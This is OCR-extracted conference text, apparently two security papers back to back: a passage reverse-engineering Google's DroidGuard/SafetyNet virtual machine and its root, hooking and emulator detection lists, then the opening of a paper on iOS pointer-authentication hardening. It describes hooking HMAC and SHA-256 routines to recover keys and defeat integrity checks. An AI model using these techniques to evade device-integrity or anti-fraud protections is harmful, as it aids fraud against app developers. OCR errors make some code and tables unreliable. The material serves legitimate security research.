but most of them share the following schema, which could be used as a
VM’s handler footprint template:

void DroidGuardVM::handler () {
decode_operands () ;

perform_handler_operation () ;
write_register_results();

}

To concretely understand these operations, let’s consider the VM
handler that aims at comparing two registers:

void DroidGuardVM: :cmp_equal()

First of all, the handler starts by decoding the instruction’s operands:

static constexpr uint8_t PC_REG_IDX = 0x12;

uint32_t pc;
uint8_t tmp;

// == Read the first operand ==

pc = read_register (PC_REG_IDX);

pc decode (&tmp, pc, sizeof (tmp));
set_register (PC_REG_IDX, pc);

uint8_t OP_DST_IDX = MBA1_DECODE (tmp) ;

// == Read the second operand ==
pc = read_register (PC_REG_IDX);

pc decode (&tmp, pc, sizeof (tmp));
set_register (PC_REG_IDX, pc);

uint8_t OP_LHS_IDX = MBA2_DECODE (tmp);

// == Read the third operand ==

pc = read_register (PC_REG_IDX);

pc decode (&tmp, pc, sizeof (tmp));
set_register (PC_REG_IDX, pc);

uint8_t OP_RHS_IDX = MBA3_DECODE (tmp);

The cmp_equal handler uses three operands:

0OP_DST_IDX: The destination register for the comparison result.
OP_LHS_IDX: The left-hand side register to compare with.
OP_RHS_IDX: The right-hand side register to compare with.



0O Uk WK

11
12

13

15
16
17
18

20
21

L

226 DroidGuard

After decoding the instruction’s operands, the decoded operands are
processed through inlined Mixed Boolean-Arithmetic (MBA) functions.
These MBA are specific to each handler and they change for each new
version of DroidGuard. As a result, if somehow we were able to disassemble
or lift the bytecode from DroidGuard, we would have to extract or reverse
all the MBA associated with the VM handlers. More details about the
MBA are given in the section 3.3 Data Flow Obfuscation.

After the instruction decoding, we find the handler’s payload which
consists in the handler’s logic. In our example, this logic consists in checking
if two registers are equal according to their types:

bool are_equal = false;
reg_t& RHS = get_reg(OP_RHS_IDX); reg_t& LHS = get_reg(OP_LHS_IDX);
if (RHS.type == LHS.type) {
switch (RHS.type) {
case JNI:
are_equal = this->env_->IsSameObject(decode (RHS.value), decode (LHS
.value)); break;
case LONG:
are_equal = decode (RHS.value) == decode(LHS.value); break;
case INT:
are_equal = (int)decode(RHS.value) == (int)decode (LHS.value);
break;
case DOUBLE:
are_equal = (double)decode (RHS.value) == (double)decode (LHS.value)
; break;
case STR:
// byte-per-byte comparison
case NONE:
default:
are_equal = false;
}
}

Finally, the result of the comparison is stored in the register read
during the instruction decoding;:

this->set_register (OP_DST_IDX, are_equal);

Among the 98 VM handlers implemented in the reverse-engineered
version of DroidGuard, I managed to recover the functionalities of 66 of
them. To bypass the basicIntegrity checks, only 5 of them are worth
identifying.

The reverse-engineering of the VM handlers helps to understand the
layout of the DroidGuardVM object and vice versa. In the end, we get the
class layout for the DroidGuardVM object listed in the Appendix 7. We can
notice that this layout embeds an array of HMAC_CTX. Actually, it seems
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that DroidGuard is able to protect the integrity and the authenticity of
the VM registers. During the analysis of the VM, I noticed that only one
register leverages this functionality which is the register that contains the
DroidGuardResult token. The DroidGuard’s HMAC-SHA256 is based on
the BoringSSL’s functions* which are triggered when appending data to
the register that holds the DroidGuardResult

VMH_concat_buffer () {
// [...]
if ('init) {
HMAC_Init (this->hmac [REG_RES_IDX], key, key_len, EVP_sha256());
¥
HMAC_Update (this->hmac [REG_RES_IDX], data, len);
AV loood
}

The HMAC’s secret key is embedded and decoded (xor between two
integer) by the bytecode and stored as a long integer in a VM’s register.
By hooking ® HMAC_Init () we can easily observe the HMAC’s secret key.

3.3 Data Flow Obfuscation

As mentioned in the previous section, the data flow of DroidGuard is
protected with different techniques.

We define the data flow of DroidGuard as the registers values, the
internal buffers, the strings and the instructions operands.

One of these protections is to apply Mixed Boolean-Arithmetic ex-
pressions (MBA) on the instructions’ operands.® There are many MBA
expressions across libdroidguard.so and the Table 2 references a few of
them.

H MBA Expressions H
(XAD <1+ Xol
(-1 ® X < 1) + X) @ Oxffffffff
X]| ~Y)+ (Y| ~X)— (XD ~Y) x 2

Table 2. Examples of MBA Expressions Found in DroidGuard

4 stripped in the library

5 Hooking functions in DroidGuard requires to bypass internal internal integrity checks
which is out of scope of this article

6 Actually the MBA are not limited to the instruction’s operands and are widely used
in DroidGuard.
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The MBA expressions change for each new version of the DroidGuard
VM but most of them can be automatically simplified by combining Miasm

and msynth [8]. The Table 3 lists the simplification of the previous MBA

expressions.

H MBA Expressions [Resolution”
(XA <1+ X1 X+1
(-1 ® X < 1) + X) ® Oxffffffff X x 3

X|~Y)+ ¥ | ~X) - (X® ~Y) x 2

XaoVvY

The second mechanism widely used to protect the data flow is the
encoding of the string buffers. Basically, the string buffers associated with
registers holding this kind of value are xored with a keystream derived from

Table 3. MBA Expressions Resolved with msynth

the register index and an encoding key bound to the 1ibdroidguard.so
(i.e. a static value). Figure 2 summarizes the decoding process.
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The buffers are decoded only when there are used. It means that their
clear content cannot be naively observed while iterating over the VM’s
registers. It can also be mentioned that when transferring an encoded
buffer into another register (e.g. reg[0xcd] -> regl[0Oxab]), DroidGuard
takes care of not leaking the content in a temporary variable. Because of
the xor encoding operation, the encoded buffer can be transferred with
this relationship:

regs [Oxab] .buffer[i] = regs[Oxcd].buffer[i]l & keyq,[i]l &
keycd[i]

Even if the MBA can be — to some extent — resolved, and the buffers
encoding algorithm reversed, the trade-off between the time it takes and
the outcome was not advantageous. Moreover, the anti-abuse team could
completely get rid of these protections and use functions more resilient
against reverse-engineering. After trial and error, I decided to address
all the encoding layers of DroidGuard through code lifting. With this
technique, I did not have to reverse and deeply understand the MBA nor
the inner mechanisms of the key derivation for the new versions of the VM.
I based the code lifting approach with open-source tools like QBDL [7]
and Unicorn [12].

Code lifting enables to run the instructions that are relevant to meet
our needs, regardless of the global complexity of the function. The main
reverse-engineering task was only identifying these relevant instructions.

3.4 Code Integrity

In addition to data-flow obfuscation, DroidGuard implements anti-
hooks mechanisms through code integrity checks. If the integrity of the
(in-memory) .text section is not correct, at some point the bytecode takes
a branch that performs irrelevant operations.

Hooking is a strong reverse-engineering primitive and bypassing these
integrity checks greatly simplifies the analysis of 1ibdroidguard.so.

During the initialization of the VM, DroidGuard stores the address of
JNI_OnLoad in a virtual register:

reg_move_info_t minfo;

minfo.reg_idx 0x13;

minfo.keys this->keys_;

minfo.reg_ptr &this->registers [0x13]

minfo.env this->env_;

this->set_register (¢minfo, TYPES_POINTER, (uintptr_t)&JNI_OnLoad ~ O
xcf7dba8687cac60e)

%
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Later on during the execution of the bytecode, this register is accessed
and the address of JNI_OnLoad is used to compute the range of addresses
to verify.

this->set_pointer () {
r[20] := O0xcf7dba8687cac60e;
}
this->sha256_init () ;
this->xor () {
r[21] := r[20] ~ r[13]; // r[21] := &JNI_OnLoad
}
this->add () // Compute the .tezt addresses range to check

this->sha256_update () {
sha256_update (.text!0x123, 0x456) ;

}

this->sha256_final ()

By hooking the BoringSSL SHA-256 functions’ and by checking if
the input buffer encloses the .text section, we can change the pointer
to an address that points to a copy of the original .text section. As a
result, the checksum is computed on the copied .text section and its
value is consistent with the value compared for the integrity check. The
DroidGuard native library is pretty small such as a copy of the .text
section has a small memory footprint.

4 The Device Integrity Checks

With a good overall understanding of the VM internals and the VM
handlers, we can target specific handlers to highlight the SafetyNet checks
and/or disable some of them.

Regardless of the obfuscation scheme used to protect the control flow
and the data flow of the detection algorithm, at some point the detection
logic needs to interact with the operating system through public API or
syscalls. This is the critical point where we can observe the functions and
their parameters with clear values.

In the case of DroidGuard, I just had to target 5 VM handlers to get
a good overview of the devices integrity checks.

Magisk & Root Detections As in most of the root detections techniques,
the bytecode running through DroidGuard checks predefined su paths
listed in the Appendix A.

" which were stripped and reverse-engineered
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To enhance the predefined su path checks, DroidGuard iterates over
the content of some directories (like /sdcard) to verify if they contain
files that match keywords like giefroot or sbin_orig. In that case,
DroidGuard performs extended checks on these directories and files. By
looking at the list of these keywords, we can notice entries like pegasus . apk
or coldboot_init which suggests that DroidGuard is able to identify
devices that would have been compromised by Pegasus. The list of the
identified keywords is given in the Appendix E.

In addition to the file checks, DroidGuard tries to detect Magisk
by looking for system properties like init.svc.magisk_pfsd and by
inspecting the current mounting points (/proc/self/mounts). The list
of the system properties is given in the Appendix A.1.

DroidGuard also covers legacy rooting tools like KingRoot [5]. The
detection of this tool seems to be performed through an analysis of the
environment variables (cf. Appendix A.2)

Hooking Frameworks As mentioned in the API documentation [1], Safe-
tyNet aims at detecting "Signs of other active attacks, such as API
hooking". Basically, this detection is done through:

— Inspecting the modules loaded in /proc/self/maps

— Iterating over the loaded modules with d1_iterate_phdr

— Inspecting /system/bin/app_process in the case of the Xposed

detection

The Appendix B contains the list of the modules monitored by Safe-
tyNet.

The design of SafetyNet is such that these checks
are exclusively achieved in the context of the process
com.google.android.gms.unstable. In particular, it means that
these checks do not enable SafetyNet to detect Frida in the application
that requested the SafetyNet attestation.

Emulators Since DroidGuard is also involved in the detection of bots and
protocol emulating script, it aims at detecting emulators.

The logic behind this detection mostly relies on the system properties
(cf. Appendix C.1), but also on the device hardware characteristics like
the memory, the battery, and the device’s screen (cf. Appendix C.2).

Bootloader Verification The information about the bootloader are decisive
in the determination of the ctsProfileMatch value. SafetyNet collects
the status of the bootloader from different sources:
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1. System Properties: ro.boot.flash.locked,
ro.boot.vbmeta.device_state (cf. Appendix D.1)

2. Java API: "persistent_data_block".getFlashLockState()

3. Hardware Attestation: KeyStore.getCertificateChain()

The values of the system properties and the Java API can be easily
modified but the result of the certification chain is a bit more tricky to
circumvent.

The SafetyNet’s hardware attestation relies on the Android public
API which is described in the Android developers website [6]. To perform
this attestation, the bytecode running through DroidGuard uses VM’s
handlers dedicated to JNI calls. As it is listed in the Listing 6, it creates
and instantiates all the Java objects required to build the attestation. This
part of the VM execution has been translated in Java in the Appendix D.3.

VMH_read_buffer ()
VMH_read_buffer ()
VMH_JNI_CallMethod () {

CallObjectMethodA ("KeyGenParameterSpec$Builder.build () "):

KeyGenParameterSpec@ca74d81

}
VMH_read_buffer ()
VMH_read_buffer ()
VMH_read_buffer ()
VMH_read_string_at_offset ()
VMH_JNI_GetStaticField () {

GetStaticObjectField ("KeyProperties.KEY_ALGORITHM_EC"): "EC"
}
VMH_read_buffer ()
VMH_read_buffer ()
VMH_JNI_FindClass ()
VMH_read_buffer ()
VMH_read_buffer ()
VMH_JNI_CallStaticObjectMethod () {

CallStaticObjectMethodA ("KeyPairGenerator",

"KeyPairGenerator.getInstance",
"EC", "AndroidKeyStore"
): "KeyPairGenerator$Delegate@f9f7e26"

Listing 6. VM Trace Associated With the Hardware Attestation

At the end of the execution, DroidGuard  calls
getCertificateChain() which contains the certificates chain as
described in the documentation [6]. It is worth mentioning that the root
certificate is signed by a Google’s hardware-backed private key and this
chain contains a certificate which embeds hardware-signed information
among which the status of the bootloader.
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DroidGuard does not read and does not take any integrity decision
regarding this certificate chain. The whole chain is sent in the Droid-
GuardResult & Telemetry Data that defers the integrity decision by the
Google’s backend.

As a result of this analysis, I was able to bypass most of these checks and
get a basicIntegrity value at true [13]. Bypassing the ctsProfileMatch
flag is another challenge that shifts the attack to finding an boot chain or
a low-level vulnerability.

5 DroidGuardResult & Telemetry Data

All the DroidGuard reverse-engineering was motivated by the under-
standing of the content behind the DroidGuardResult value referenced
in the Listing 3.

After analysis, it turns out that this value is actually a Protobuf
message that wraps telemetry data. These data are collected throughout
the execution of the bytecode and they are stored in a dedicated register.

Compared to classical string encoding (cf. 3.3 Data Flow Obfuscation),
the buffer that contains the telemetry data is protected with another layer
of encoding that involves an HMAC secret key and other encoding keys.
Nevertheless, it is still possible to access the underlying content through
hooking and code lifting.

Without really reversing the encoding layers, I managed to extract the
telemetry data listed in the Appendix G.

6 Reverse-Engineering C++: What We Should Be Aware
Of?

As mentioned in the previous sections, DroidGuard is written in C++
and manages a class that we called DroidGuardVM. For better or for worse,
the ABI and the STL optimizations can be tricky. This section deals with
non-trivial C++ ABI features.

6.1 The Pointer this

Non-static member functions of C++ classes always start with this as
the first parameter of the function. While reverse-engineering, and more
precisely, while trying to understand the layout of the DroidGuard VM,
this property can help to identify the VM class member functions that
aims at interacting with class data from those that are helpers.
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Nevertheless, it exists an exception where non-static class member
functions do not have this as the first parameter.

6.2 Copy Elision

To avoid a copy of a C++ object returned by a function, the C++
standard ® requires to reference the returned object in the parameter of
the function such as it can be constructed in-place by the function.

Concretely, if the consider the following DroidGuardVM function:

‘std::vector<uint8_t> DroidGuardVM::read_byte_vector (size_t enc_size)

The real prototype of the function is actually:

void read_byte_vector(std::vector<uint8_t>* out,
DroidGuardVM* vm,
size_t enc_size)

So from a reverse-engineering point of view, we observe 3 parameters
but in fact, two of them are ABI specific.

6.3 std::string Optimization

When we need to store small bytes, the std: :string container can
be more interesting over a std::vector<uint8_t> as most of the C++
Standard Template Library (STL) implements an optimization for small
strings [9].

From a reverse-engineering point of view, this optimization can be
tricky to spot in particular when the std: :string functions are inlined.

If we consider the function std::string.size(), on the left-hand
side of the Listing 3 we have the code generated by the compiler which
does not contain hints about the type of the variable x1. The main reverse-
engineering effort is to understand the type of this variable for which
the memory dereference and the shift makes sense on the right-hand side
according the std::string optimization.

During the analysis of DroidGuard, I encountered this kind of opti-
mization in different places and it was frequent that the condition (cap &
1) != 0 was re-written with the following MBA:

X @ Oxfffffffffffffffe + 1 # (X |1) @ Oxfffffffffffffffe

8 since C++ 11
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void* x1; 1 std::string* x1;
uint64_t x2; 2 uint64_t x2;
3
uint64_t x3 = *x1 4 uint64_t cap = xl->cap
if ((x3 & 1) !'= 0) { 5 if ((cap & 1) '= 0) {
x2 = *(x1 + 8) 6 x2 = x1->size();
} else { 7 } else {
x2 = x1 >> 1; 8 // Small string optimization
} 9 x2 = x1 >> 1;
0

=

}

Fig. 3. Generated Code when accessing std: :string::size

7 Conclusion

Generally speaking, DroidGuard/SafetyNet successfully achieves its
purpose: provide a reliable and efficient solution to detect compromised,/-
tampered devices. Regardless of the low-level protections like the Mixed
Boolean-Arithmetic expressions or the buffers encoding, its global design
with regular updates, a unique bytecode per-request or the dedicated
unstable process, makes its analysis difficult.

7.1 The Reverse-Engineering Cost

Evaluating the robustness of a solution is a difficult exercise as it
depends on the motivation and the experience of the reverser as well as
its tools. This research has been done during week-ends and early in the
morning which could represent about five straight weeks. In addition, it
had to develop dedicated tools to inspect the VM (like dumping all the
registers), to trace the VM’s handlers and to ease the reverse-engineering
of a new version of the VM based on the previous version.

This part adds two straight weeks of work. After having the suitable
toolset, I could handle a new version of DroidGuard in a couple of hours.

7.2 The Limits of the DroidGuard/SafetyNet Design

As it has been discussed in the section 2 SafetyNet Workflow, Droid-
Guard and its integrity checks are performed in a dedicated process? and
not in the process of the application that triggered the SafetyNet request.
It means that DroidGuard is able to identify system-wide tampering

9 com. google.android.gms.unstable
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(like Magisk or a bootloader unlocked) but it is not able to detect local
applications tampering like Frida gadget or native hooking.

There are no integrity checks in the memory space of the
application that perfomed the request.

Therefore, RASP 10 solutions are relevant to ensure the application is
not locally tampered. In addition, SafetyNet aims at running on a large
number of Android devices with disparate brands, versions, hardware etc.
On the top of that, SafetyNet must take care of not raising false-positives
alerts as it could have a direct impact on the app’s developer business. This
universality and this attention to avoid false-positives (or not) can be a
weakness. For instance, one solution to get rid of the hardware attestation
is to make believe that the device does not support hardware attestation.'!
On the other hand, the documentation about the trustworthy of the
ctsProfileMatch value is also clear:

[... false for] "Genuine but uncertified device, such as when the
manufacturer doesn’t apply for certification”

This is not an issue for applications that aim at running on a specific
range of devices, like SoftPOS 2 solutions but it can be a critical issue in
the video games industry if the gamers cannot play the game because of a
non-Google certified device.

This article intentionally eludes the technicals details to bypass Safe-
tyNet security measures or to perform the attacks, as it is a cat-and-mouse
game that everyone can enjoy playing.
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Root Checks

— /data/local/tmp/su
— /sbin/su

— /data/local/xbin/su
— /bin/su

— /data/local/bin/su
— /product/bin/su

— /system/bin/.ext/su
— /system_ext/bin/su
— /system/bin/su

— /system/xbin/su

— /odm/bin/su

— /vendor/bin/su

— /vendor/xbin/su

A.1 Magisk Detection

System Properties:

— 1init.svc.magisk_service
— persist.magisk.hide

— 1init.svc.magisk_pfs

— 1init.svc.magisk_pfsd
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— magisk.version

— ro.magisk.disable
Files Content:

— /proc/self/mounts
— /proc/self/mountinfo

A.2 KingRoot Checks

— TANGBOX
— REDIRECT_SRC1
— REDIRECT_DST1
— FORBID_SRC1

— WHITELIST_SRC1

B Dynamic Instrumentation Checks

— libarthook_native.so
— libsandhook.edxp.so
— libsandhook-native.so
— libsandhook.so

— libxposed_art.so

— libfrida-gadget.so

— libmemtrack_real.so
— frida-agent-64.so0

— libvat++.so

— librfbinder-cpp.so

— frida-agent-32.so0

— libva-native.so

— libwhale.edxp.so

— libriru_edxp.so

— libriru_snet-tweak-riru.so
— libriru_edxposed.so

B.1 Xposed Detection

It checks the content of /system/bin/app_process

C Emulator Checks

C.1 System Properties

— init.svc.droid4x
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— init.svc.noxd

— 1init.svc.qemud

— init.svc.goldfish-setup
— 1init.svc.goldfish-logcat
— vmos.browser.home

— 1init.svc.ttVM_x86-setup
— ro.trd_yehuo_searchbox
— qemu.sf.fake_camera

— Vvmos.camera.enable

— init.svc.microvirtd

— 1init.svc.vbox86-setup
— ro.rf.vmname

C.2 Devices Features

Memory:
— getSystemService(Context.ACTIVITY_SERVICE)
.getMemoryInfo() .totalMem
— ApplicationPackageManager
.hasSystemFeature (PackageManager .FEATURE_RAM_NORMAL)
Screen Information from
getSystemService (Context.WINDOW_SERVICE) .getDefaultDisplay ()
— getMetrics()
— DisplayMetrics.widthPixels
— DisplayMetrics.heightPixels
— DisplayMetrics.density
— DisplayMetrics.xdpi
— DisplayMetrics.ydpi
— getRealMetrics()
— android.util.DisplayMetrics.widthPixels
— android.util.DisplayMetrics.heightPixels

D Bootloader Status

D.1 System Properties

— ro.boot.flash.locked

— ro.boot.vbmeta.device_state
— ro.boot.verifiedbootstate
— ro.boot.vbmeta.digest
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D.2 Java API

— "persistent_data_block".getFlashLockState()

— hasSystemFeature (PackageManager . FEATURE_VERIFIED_BOOT)

D.3 Hardware Attestation

KeyStore ks = KeyStore.getInstance("AndroidKeyStore")
ks.load (null);
ks.aliases(); // Iterate and check the aliases

long rndLong = (new Random()).nextLong()
String alias = "unstable.<hash>." + rndLong.toString()

KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder (alias,
KeyProperties.PURPOSE_SIGN)
.setAlgorithmParameterSpec (new ECGenParameterSpec ("secp256rl"))
.setDigests (KeyProperties .DIGEST_SHA512)
.setAttestationChallenge (<unique number>)
.build () ;

KeyGenerator keyGenerator = KeyPairGenerator.getInstance("EC",
AndroidKeyStore")

keyGenerator.initialize (spec);

keyGenerator.generateKeyPair () ;

Certificate certificates[] = keyStore.getCertificateChain(alias);

E Conditional Checks on Files Matching Specific
Keywords

— daemonsu

— pegasus.apk
— androVM-prop
— busybox

— mu

— .coldboot_init (related to Pegasus: [10] page 29)
— su

— temp_su

— 1init.magisk.rc
— baservice

— badamon

— droid4x-prop
— ttVM-prop

— igpi
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— gemu_props

— giefroot

— microvirt-prop
— smsdamon

— waw

— smsservice

— libimcrc_64.so
— wland

— microvirtd

— libinjector.so
— nox-prop

— su

— su2

— sbin_orig

— magisk

— supersu

— .author

F DroidGuardVM Layout

static constexpr size_t NB_REGISTERS = 0x100;

enum REG_TYPES : uint8_t {
STRING ,
INT,
LONG,
DOUBLE ,
JOBJ,
POINTER,

NONE = 6,

}

struct reg_t {
REG_TYPES type;
uintptr_t value;

b3

struct registers_t {
DroidGuardVM* vm;
uintptr_t _;

std::array<reg_t, NB_REGISTERS> r;

}

class DroidGuardVM {
private:
registers_tx*
std::vector<registers_tx*>
std::array<uintptr_t, 0x200>
uint32_t
uint32_t

registers;
frames;
handlers;
counter;

pPc;
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std::array<HMAC_CTX**, 0x100> hmac;

__uint128_t enc_key;
int32_t enc_register;
std::string bytecode;
uintptr_t crypto_key_1;
uintptr_t crypto_key_2;
int32_t count ;
std::array<uint64_t, 0x42> constants;

pthread_t thread;
uintptr_t tagged_buffer;

std::array<uint8_t,
std::array<uint8_t,

JavaVM
JNIEnv *
jobject
jobject
jobject
jobject
jobject
jobject

jvm;

env;

mDroidGuard;
mDroidGuardChimeraService;
jobji;

jobj2;

mRuntimeAPI;
mJavalangString;

std::string flow;
jobject mExtra;

bool

has_error;

0x400> scratch_buffer_1;
0x410> scratch_buffer_2;

Listing 7. DroidGuardVM Class Layout

(G DroidGuardResult Protobuf Content

classes_info = {
info = [
{
"class": "com.google.android.gms.droidguard.

"methods": "a" "b" "onBind" "onCreate"]
1,
{
"class": "com.google.android.gms.framework.tracing.wrapper.
TracingIntentService"
"methods": ["a" "attachBaseContext" "onHandleIntent"]
1,
{
"class": "com.google.android.chimera.IntentService"
"methods": ["onBind" "onCreate" "onDestroy" "onHandleIntent"
"onStart" "onStartCommand" "setIntentRedelivery"]
1,
{
"class": "com.google.android.chimera.Service"
"methods": ["dump" "getApplication" "getChimeraImpl" "

DroidGuardChimeraService"

getContainerService"
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"getForegroundServiceType" "onBind" "
onConfigurationChanged" "onCreate" ...]
1,
{
"class": "android.content.ContextWrapper"
1
]

}

ro_zygote = "zygote64_32"

pointer_info = "7£3669240000-7£3669241000 rw-p 00000000"

cmdline = "com.google.android.gms.unstable"

env_path = "/product/bin:/apex/com.android.runtime/bin:/apex/com
.android.art/bin:[...]"

cache_dir = "/data/user/0/com.google.android.gms/cache"

vbmeta_device_state = "locked"

vbmeta_digest = "5
c43a03e2a47d742deefb3a05c2bcddlafadedb89ddbdba7651£f99fdc92438£8"

verifiedbootstate = "green"

security_patch = "2021-12-12"

£134 = "com.google.android.gms" # Output of com.
google.androtid. gms.droidguard. loader.Runtimedpi.c ()

kernel_info = "5.4.223-ga4b5ffa6db-74ceeb #1 SMP PREEMPT Tue
Jul 21 01:52:07 UTC 2021"

flow = "attest"

installer = "com.android.vending"

proc_self_stat = "561 (id.gms.unstable) S 949 949 0 0 -1 107832
324 0 0 O "

current_class_loaders = """
dalvik.system.PathClassLoader [
DezPathList [
[zip file "/data/app/~~***kx*x*kkkxx¥kkkxx¥*%*%==/com.google.
android. gms —k*kFk KKk kKN KKK KK —¥¥k*¥*—4%A==/base.apk"]
nativelibraryDirectories=[/system/14b64, /system/product/

1ib64]
7

7

nmnn

£242 = [
# List of KeyStore.getCertificateChain

Y 9

]

file_info = [
{"path": "/data", "flag": 13},
{"path": "/data/agents", "flag": 2},
{"path": "/data/local", "flag": 13},
{"path": "/data/local/tmp", "flag": 13},
{"path": "/data/local/bin", "flag": 2},
{"path": "/bin", "flag": 13},
{"path": "/data/local/xbin", "flag": 2},
{"path": "/system/bin/.ext", "flag": 2},
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\begin{python}
mount_info = [
"/dev/block/loop22 /apex/com.android.art@1l" "/dev/block/
loop22 /apex/com.android.art",
"/dev/block/loop23 /apex/com.android.il8n@1" "/dev/block/

loop23 /apex/com.android.ii8n"
"/dev/block/loop27 /apex/com.android.vndk.v30@1" "/dev/block/
loop27 /apex/com.android.vndk.v30"

proc_self _maps_info = [
"/apex/com.android.art/javalib/bouncycastle. jar",
"/system/framework/boot-ims-common.vdex",
"/data/data/com.google.android.gms/app_dg_cache/1
FEFB755F7DFAAFB69E71C4B872D96A200EC65BF /the . apk"
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Abstract. Three years ago, we presented all the difficulties an attacker
has to face when exploiting a state-of-the-art iPhone device. Back in the
days, the amount of defense-in-depth was already quite impressive, and a
public price for a full exploitation chain was 2MS$.

There have since been 3 new major iOS versions and as many generations
of iPhones, coming with their new software and hardware mitigation.
This article aims at describing how Apple significantly raised the bar for
an attacker to be able to gain a privileged access to an up-to-date iPhone
13 (the latest model when writing this article).

1 Introduction

This article is a follow-up of a previous one we presented back in 2019 [7].
In three years, a lot of things have changed. Multiple O-click vulnerabilities
have been discovered and patched in iOS [4,6,8], a bootrom exploit [2] and
a takeover of Apple secure processor [12] have been released, Zerodium
now pays more for an Android zero click full chain with persistence than
for an iOS one. . .

Is Apple losing the security game? In this paper we will see that
this is quite the opposite. In the recent years, Apple actually accelerated
the security hardening of their operating systems and phones. They also
learned a lot from their vulnerabilities and from the attackers which gave
them the ability to eliminate whole classes of vulnerabilities and exploits
strategies.

This article does not reintroduce all i0S security mechanisms and it is
highly recommended to (re)read the 2019 one before diving into this one.

2 Pointer Authentication Codes

Pointer authentication is supported since the iPhone XS and XR
with the A12 SoC and iOS 12. Since then, Pointer Authentication Codes
(PAC) have been bypassed numerous times, both in userland [8,9] and
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kernelland [3,9]. In our previous paper [7] we insisted that the technology
was still young and that Apple could sign more things and use different
keys. It turns out that it’s exactly what they did.

The obvious attack against PAC pointers is to modify unsigned pointers
and to swap pointers that are signed with the same key and context. Apple
is well aware of that and made this significantly harder.

2.1 More Signed Pointers

First of all, more and more data pointers are now signed. This includes
both sensitive pointers like the sandbox label but also data structures
known to be used by attackers to build full exploits. For instance, after
multiple jailbreaks and exploits using pipes to build an arbitrary read /write
primitive in the kernel [11], Apple started in iOS 14.2 to sign pipes data
pointers.

The userland is not left out. For example, after being used by Samuel
GroB in his iMessage exploit [8], the ISA (as in this object IS A box/-
cat/apple) pointer, a very important pointer at the beginning of every
Objective-C object, is signed since iOS 14 (but only checked since i0S
14.5... [13]). Some other pointers that weren’t correctly signed by the
compiler or in assembly sources are now also protected. For example, the
function __chkstk_darwin, used to check that dynamic stack allocations
don’t overflow the stack, was not signed in the global offset table.

Probably to simplify pointer test handling, null pointers are not signed.
This can be sometimes used to exploit logic flaws. The most famous one
is the sandbox label pointer. When this pointer is null, the process is only
restricted by the system sandbox, which only restricts access to sensitive
APIs (like access to the host special ports) and is permissive by default.
To escape the application or WebKit sandbox, patching this pointer with
a null was sufficient, even if this pointer was signed. This has been patched
by Apple in i0OS 15.0 by always checking the signature, even if the pointer
is null (see fig. 1 and fig. 2).

2.2 More Diversity

To protect against pointer swapping, Apple tries to use the appropriate
key and a specific context for each usage. For example, at the beginning
of PAC and since iOS 14, every function pointer stored in a structure was
signed with a null context. Moreover, all those pointers signed with a null
context were all stored in the same section __DATA_CONST:__auth_ptr.
Now every function pointer field is signed on the fly with a specific context
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cnp X16, X17 End of function _mac_lal
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; End of functio mac_label_get
Fig. 1. PAC sandbox label before iOS
15 Fig. 2. PAC sandbox label after iOS

15

(but the pointer address is not used, maybe to support structure copy, so
it is still possible to swap two instances of the same field, see fig. 3 and
fig. 4).

Now the only pointers signed with a null context stored in kernel mem-
ory are two pointers on mig_strncpy_zerofill and __chkstk_darwin
and these are in read-only memory. The only other zero context pointers
are functions arguments and return value and those are stored in registers
that may only be temporarily saved on the stack. This greatly reduces
the possibility to swap pointers in memory and the available gadgets.

2.3 More Keys

At the beginning of PAC, all processes shared the same A key, used to
sign function pointers. So even if all processes already had different B keys,
used to sign process specific data like the saved return address, it was still
pretty easy to attack another process with a JOP chain (whereas ROP
has been killed by PAC). Now, processes have a A key that depends on
their Team ID, which is a unique identifier generated by Apple for every
developper account. Daemons and Apple apps don’t have any Team ID but
they can use a specific entitlement (com.apple.pac.shared_region_id)
to get a different A key nevertheless. Of course, WebKit uses this entitle-
ment so it is now as difficult to attack daemons from WebKit than from
any other application (at least from a PAC point of view).
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ADRP X9, #zsigned_pty_get_ioctlRPAGE

LDR X9, [X9, #zsigned_pty_get_ioctl@PAGECFF]

ADRP X10, #tty_dev_headRfPAGE

LDR X11, [X10,#tty_dev_head@PAGEQOFF]

STP X11, X2, [X8,#0x10]

ADRP X9, §#zsigned pty_get_ name@PAGE

LDR X9, [X9,#zsigned pty_get_ name@PAGECFF]

STR X9, [¥&8,#(__pty_driver.name - OxFFFFFFF002418D70)]

Fig. 3. function pointer fields before iOS 14, zero-signed pointers are stored in
__DATA_CONST:__auth_ptr

ADR Xl6, _pty_get_ioctl

HOP

MOV X17, #O0xB4AC

PACIA Xle, X17

STR X16, [X&8,#(__pty_driver.open — OxFFFFFFFO0%AS59CE) ]
ADR Xl6, _pty_get_name

HOP

MOV X17, #ox707

PACIA Xle, X17

STR X16, [X&8,#(__pty_driver.name — OxFFFFFFFO02AS52CE) ]

Fig. 4. function pointer fields after iOS 14, different fields use different keys and
pointers are signed on the fly

2.4 Fewer Weaknesses

Last but not least, Apple fixed several PAC bypasses in its code and
even killed two bypass classes by adding hardware mitigations and another
one with a compiler mitigation.

The idea of PAC is that some of the upper bits of a pointer are used to
store a signature. When one of the AUT instructions is used on a signed
pointer, if the signature is valid, a pointer stripped of its signature is
returned. This stripped pointer can then be used with classic instructions.
If the signature is invalid, the resulting pointer will be invalidated by
flipping one of its higher bits, this can be detected by checking this bit or
by directly trying to dereference it, which would trigger a exception.

One original weakness of PAC was that when an invalid pointer was
signed, a single bit of the signature was flipped and it was trivial to get
a valid signature from it. The AUT then PAC combination is frequent as
function pointers need to be signed for different contexts. For example,
a function pointer passed as an argument to a function will be signed
with a null context and if the function sets a structure field with it, it will
have to be resigned with the field context. Since the A14 (first used in
the iPhone 12), EnhancedPAC (as defined in Armv8.5) is implemented, so
when an invalid pointer is signed, the signature is discarded (filled with
zeroes) and it is not possible to deduce the signature for a valid pointer.
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With this protection, it is still possible to bruteforce a valid signature
under some circumstances. All the invalid pointers will have one signature
and the only valid one will have a different one. With this oracle, it is
possible in seconds to minutes (depending on the oracle speed and the
signature length) to find a valid signature. Apple again killed this method
by forcing the compiler (with the ~fptrauth-auth-traps option) to add
checks after every AUT instruction to crash the process (or the kernel) if
the pointer passed to the AUT instruction is not correctly signed. Moreover,
in the A15 (first used in the iPhone 13), Apple made sure to catch all
the invalid signatures by implementing the Armv8.6-A FPAC extension
that raises an exception when an AUT instruction encounters an invalid
signature. At last, they also made sure to make this attack less practical
by increasing the size of the signature in userland from 16 to 24 bits in
iOS 13 (it has always been 24 bits in kernelland).

3 Page Protection Layer

The hardware foundation of the Page Protection Layer (PPL) is
present in Apple SoCs since the iPhone 8 and was already used to protect
